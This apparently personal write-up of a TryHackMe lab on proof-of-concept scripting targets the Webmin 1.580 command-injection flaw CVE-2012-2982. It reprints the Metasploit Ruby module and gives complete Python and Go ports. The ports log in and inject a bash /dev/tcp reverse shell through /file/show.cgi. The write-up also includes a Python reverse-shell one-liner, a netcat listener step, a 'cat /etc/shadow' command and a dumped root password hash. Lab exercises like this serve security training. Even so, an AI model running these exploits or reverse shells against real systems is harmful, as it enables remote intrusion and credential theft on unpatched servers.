TryHackMe - Intro PoC Scripting
Published: 2023-07-02
https://tryhackme.com/room/intropocscripting
Recon
Perform some recon on the target…
Ncat
We now know the target is running MiniServe/1.580 also known as Webmin.
NMap vulnerability and services scan results
Hmm, some SSH vulns going on…
Web specific vulnerabilities.
Research
Lets’s find out a bit more about the vulnerabilities.
Metasploit search
Webmin has 6 Excellent score vulnerabilities, but we’re specifically after CVE-2012-2982.
Searchsploit
The exploit script located at /usr/share/exploitdb/exploits/unix/remote/21851.rb
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin /file/show.cgi Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Webmin
1.580. The vulnerability exists in the /file/show.cgi component and allows an
authenticated user, with access to the File Manager Module, to execute arbitrary
commands with root privileges. The module has been tested successfully with Webim
1.580 over Ubuntu 10.04.
},
'Author' => [
'Unknown', # From American Information Security Group
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '85248'],
['BID', '55446'],
['CVE', '2012-2982'],
['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Webim 1.580', { }]],
'DisclosureDate' => 'Sep 06 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class)
end
def check
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
print_good "#{peer} - Authentication successful"
session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
else
print_error "#{peer} - Authentication failed"
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
session = res.headers['Set-Cookie'].scan(/sid=(w+);*/).flatten[0] || ''
if session and not session.empty?
print_good "#{peer} - Authentication successfully"
else
print_error "#{peer} - Authentication failed"
return
end
print_good "#{peer} - Authentication successfully"
else
print_error "#{peer} - Authentication failed"
return
end
print_status("#{peer} - Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
print_good "#{peer} - Payload executed successfully"
else
print_error "#{peer} - Error executing the payload"
return
end
end
end
I mean, basically the code sets some request headers, a cookie, and a body and sends a POST request. Once authenticated via the session id, the script sends another POST request to a different endpoint, which gives an attacker remote code execution. Our task is to rewrite this in Python.
Understand the patch that was applied by the devs to mitigate this vulneratbility
The exploit patch on github
https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213
ChatGPT’s explanation of the patch
file/lang/en:
This snippet contains a set of error messages and notifications that are likely used for displaying specific messages to the user in the Webmin interface. These messages inform the user about failed archive creation, restrictions on downloading archives, limitations on the directory size for archiving, invalid characters in paths, the requirement to cut or copy before pasting, and the unavailability of a copied file.
file/show.cgi:
This snippet is a section of Perl code that appears to be handling a request to view a file in Webmin. Here’s a breakdown of the key steps:
`&ReadParse();` is likely a function call to read and parse the input parameters from the HTTP request.
`use POSIX;` imports the POSIX module, which provides access to various POSIX functions and constants.
`$p = $ENV{'PATH_INFO'};` retrieves the value of the PATH_INFO environment variable, which typically contains additional path information from the URL.
`($p =~ /^s*|/ || $p =~ /|s*$/ || $p =~ / /) && &error_exit($text{'view_epathinfo'});` checks if the path ($p) contains certain patterns that may indicate an invalid or malicious input. If any of the patterns match, it calls the error_exit function with the error message defined as $text{'view_epathinfo'}.
`if ($in{'type'}) { ... }` checks if the type parameter is supplied in the input. If present, it assigns its value to the variable $type.
The code continues with other conditional branches and processing steps that are not included in the provided snippet.
`if (!open(FILE, $p)) { ... }` attempts to open the file specified by the path ($p). If the file cannot be opened (possibly due to Unix permissions), it calls the error_exit function with the error message defined as &text('view_eopen', $p, $!).
Summary
Before the patch, the app could be vulnerable to invalid input if the PATH_INFO parameter from the URL contained certain characters, such as pipes (|
), leading/trailing whitespace, or null characters (\0
), which could potentially be used for malicious purposes. This is an example of improper input validation.
Payloads
In the given exploit scenario targeting Webmin, the most effective program/command to use would depend on the specific vulnerability being exploited and the intended goal. However, based on the provided code snippet, the exploit leverages the ability to execute arbitrary commands with root privileges. Therefore, common choices for the payload command in this case might be bash
or perl
, as they are commonly available on Unix-like systems and provide extensive functionality for executing commands and interacting with the system.
This output corroberates with the correct THM answer: “system shell”
So we now know our payload needs to be a system shell of sorts
It can be something simple or complex.
Example payload
payload = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""+ lhost + ""," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'"
The purpose of this lab is to port the Ruby exploit to Python. Here is the version I came up with.
#!/usr/bin/env python
import requests, string, secrets
def rand():
alphaNum = string.ascii_letters + string.digits
randChar = ''.join(secrets.choice(alphaNum) for i in range(5))
return randChar
targetIP = "x.x.x.x"
# So the remote can beam home to the mothership, set localhost and port...
lhost = "x.x.x.x"
lport = "53"
data = {'page' : "%2F", 'user' : "user1", 'pass' : "1user"}
url = "http://" + targetIP + "/session_login.cgi"
r = requests.post(url, data=data, cookies={"testing":"1"}, verify=False, allow_redirects=False)
if r.status_code == 302 and r.cookies["sid"] != None:
print("[+] - Login success, executing payload...")
sid = r.cookies["sid"].strip("/=; ")
print("- Using session id: " + sid)
rnum = rand()
print("- Using random alphanumeric string: " + rnum)
payload = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport}<&1'"
exp = f"http://{targetIP}/file/show.cgi/bin/{rnum}|{payload}|"
print("- Executing payload: " + exp)
req = requests.post(exp, cookies={"sid":sid}, verify=False, allow_redirects=False)
print("- Run nc -nlvp 53 on attacker machine to listen for the shell with netcat. Restart this exploit if that hasn't been done already.")
else:
print("Login failed")
Python cookie parsing examples, here just because…
# c = r.cookies["sid"]
# s = r.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(';')[0].strip()
# si = r.headers['Set-Cookie'].split('=')[1].split(";")[0].strip()
# sid = c.strip("/=; ")
I decided to be extra and convert the Python to GoLang…
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"strings"
"time"
)
func randString(length int) string {
chars := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
rand.Seed(time.Now().UnixNano())
result := make([]rune, length)
for i := 0; i < length; i++ {
result[i] = chars[rand.Intn(len(chars))]
}
return string(result)
}
func main() {
targetIP := "x.x.x.x"
// localhost and localport so target can talk back to localhost once the exploit is ran.
lhost := "x.x.x.x"
lport := "53"
body := strings.NewReader("page=%2F&user=user1&pass=1user")
url := fmt.Sprintf("http://%s/session_login.cgi", targetIP)
tr := &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
client := &http.Client{
Transport: tr,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
req, err := http.NewRequest("POST", url, body)
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0")
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8")
req.Header.Set("Accept-Language", "en-US,en;q=0.5")
req.Header.Set("Accept-Encoding", "gzip, deflate")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(body.Len()))
req.Header.Set("Origin", "http://"+targetIP)
req.Header.Set("DNT", "1")
req.Header.Set("Connection", "close")
req.Header.Set("Referer", fmt.Sprintf("http://%s/session_login.cgi?logout=1", targetIP))
req.Header.Set("Cookie", "testing=1")
req.Header.Set("Upgrade-Insecure-Requests", "0")
reqBody, err := ioutil.ReadAll(req.Body)
if err != nil {
fmt.Println("Error reading request body:", err)
return
}
fmt.Println("- Request Body:", string(reqBody))
req.Body = ioutil.NopCloser(strings.NewReader(string(reqBody)))
fmt.Println("- Request Cookies:")
for _, cookie := range req.Cookies() {
fmt.Println(cookie.Name + "=" + cookie.Value)
}
fmt.Println("- Request Headers:")
for header, values := range req.Header {
for _, value := range values {
fmt.Println(header + ": " + value)
}
}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusFound {
var sid string
for _, cookie := range resp.Cookies() {
if cookie.Name == "sid" {
sid = strings.Trim(cookie.Value, "/=; ")
break
}
}
if sid == "" {
fmt.Println("Login failed")
return
}
fmt.Println("[+] - Login success, executing payload...")
fmt.Println("- Using session id:", sid)
rnum := randString(5)
fmt.Println("- Using random alphanumeric string:", rnum)
payload := fmt.Sprintf("bash -c 'exec bash -i &>/dev/tcp/%s/%s<&1'", lhost, lport)
exp := fmt.Sprintf("http://%s/file/show.cgi/bin/%s|%s|", targetIP, rnum, payload)
fmt.Println("- Executing payload:", exp)
req, err = http.NewRequest("POST", exp, nil)
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.AddCookie(&http.Cookie{Name: "sid", Value: sid})
resp, err = client.Do(req)
if err != nil {
fmt.Println("Error sending request:", err)
return
}
defer resp.Body.Close()
fmt.Println("- Run nc -nlvp 53 on the attacker machine to listen for the shell with netcat. Restart this exploit if that hasn't been done already.")
} else {
fmt.Println("Login failed")
}
}
Let’s fire off the exploit
Python
GoLang
Our reverse Shell. We should have our listener running before the exploit…
Grab the hashes with cat /etc/shadow
root:$6$Fy2Peey/$zKJEi5mOEiUK3geWKtBhspBCkdUr30fhxGSaRPcpXHogR6KYEeFt3cNA4YWfojLP/Jejt8DlD7kmO7Gl32xLC1:18510:0:99999:7:::